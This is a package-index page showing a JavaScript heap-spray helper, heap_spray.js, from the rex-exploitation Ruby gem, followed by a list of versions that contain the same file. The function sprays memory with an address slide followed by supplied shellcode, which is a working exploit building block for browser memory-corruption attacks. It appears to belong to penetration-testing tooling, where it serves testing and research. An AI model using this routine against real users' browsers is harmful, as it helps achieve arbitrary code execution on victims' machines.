Sha256: 00597615e3cd5ba81e39fb1510ada32b148a1a2d3fcf252f6660c2235cdb08f6

Contents?: true

Size: 776 Bytes

Versions: 41

Compression:

Stored size: 776 Bytes

Contents

var memory = new Array();
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
  var index;
  var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
  var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
  while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
  while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }

  var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo);
  while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
  retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);

  var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
  for (index = 0; index < heapBlockCnt; index++) {
    memory[index] = retSlide + shellcode;
  }
}

Version data entries

41 entries across 41 versions & 1 rubygems

Version Path
rex-exploitation-0.1.40 data/js/memory/heap_spray.js
rex-exploitation-0.1.39 data/js/memory/heap_spray.js
rex-exploitation-0.1.38 data/js/memory/heap_spray.js
rex-exploitation-0.1.37 data/js/memory/heap_spray.js
rex-exploitation-0.1.36 data/js/memory/heap_spray.js
rex-exploitation-0.1.35 data/js/memory/heap_spray.js
rex-exploitation-0.1.34 data/js/memory/heap_spray.js
rex-exploitation-0.1.33 data/js/memory/heap_spray.js
rex-exploitation-0.1.32 data/js/memory/heap_spray.js
rex-exploitation-0.1.31 data/js/memory/heap_spray.js
rex-exploitation-0.1.30 data/js/memory/heap_spray.js
rex-exploitation-0.1.29 data/js/memory/heap_spray.js
rex-exploitation-0.1.28 data/js/memory/heap_spray.js
rex-exploitation-0.1.27 data/js/memory/heap_spray.js
rex-exploitation-0.1.26 data/js/memory/heap_spray.js
rex-exploitation-0.1.25 data/js/memory/heap_spray.js
rex-exploitation-0.1.24 data/js/memory/heap_spray.js
rex-exploitation-0.1.23 data/js/memory/heap_spray.js
rex-exploitation-0.1.22 data/js/memory/heap_spray.js
rex-exploitation-0.1.21 data/js/memory/heap_spray.js